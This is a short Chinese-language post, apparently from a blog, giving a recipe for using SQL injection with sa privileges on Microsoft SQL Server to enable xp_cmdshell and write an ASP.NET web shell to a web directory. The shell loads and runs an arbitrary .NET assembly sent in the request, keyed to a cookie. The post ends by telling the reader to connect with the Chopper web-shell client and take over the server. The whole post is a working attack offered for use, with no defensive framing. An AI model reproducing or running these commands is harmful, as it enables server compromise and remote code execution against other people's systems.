sql注入创建aspx文件方法

来源:互联网 发布:射频开关矩阵设计方案 编辑:程序博客网 时间:2024/06/13 02:03

先开启xpcmdshell前提是sa用户,可以注入时使用



exec
sp_configure 'show advanced options',1 ;reconfigure ;
go
sp_configure 'xp_cmdshell',1 reconfigure 


然后运行创建文件







Exec master.dbo.xp_cmdshell 'echo ^<%@ Page Language=”C#” ValidateRequest=”false” %^>^<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["hez"].Value))).CreateInstance(“c”, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%^> >>c:\\web\123.aspx'

菜刀连上拿下

0 0
原创粉丝点击